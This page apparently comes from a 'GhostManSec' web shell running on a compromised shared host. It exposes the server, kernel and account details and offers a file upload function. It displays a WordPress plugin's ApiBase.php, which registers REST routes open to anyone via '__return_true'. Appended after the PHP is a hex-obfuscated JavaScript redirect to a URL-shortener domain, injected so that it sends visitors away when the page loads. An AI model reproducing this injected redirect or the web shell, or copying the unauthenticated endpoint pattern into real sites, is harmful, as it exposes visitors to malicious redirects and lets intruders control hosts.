GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/includes/src/api/ApiBase.php
<?php

namespace FestingerVault\api;

use FestingerVault\Constants;
use WP_REST_Request;
use WP_REST_Response;

abstract class ApiBase
{
	public function __construct()
	{
	}

	final function register()
	{
		add_action('rest_api_init', [$this, 'rest_api_init']);

	}

	final function rest_api_init()
	{
		$route_ns = Constants::SLUG . "/v1/" . $this->prefix();
		foreach ($this->endpoints() as $route => $args) {
			register_rest_route(
				$route_ns,
				$route,
				array_merge([
					'methods' => "POST",
					'permission_callback' => "__return_true",

				], $args, [
					"callback" => function (WP_REST_Request $request) use ($args) {
						$response = $args["callback"]($request);
						$code = 200;
						if (is_wp_error($response)) {
							$code = 400;
							$response = ["error" => true, "message" => $response->get_error_message()];
						}
						return new WP_REST_Response($response, $code);
					},
				])
			);
		}
	}

	final function user_can_install()
	{
		return current_user_can("install_plugins") && current_user_can("install_themes");
	}

	protected function endpoints()
	{
		return [];
	}

	// override this if you want rest api endpoint prefix be other than the class name itself
	protected function prefix()
	{
		$path = explode('\\', static::class);
		return strtolower(array_pop($path));

	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>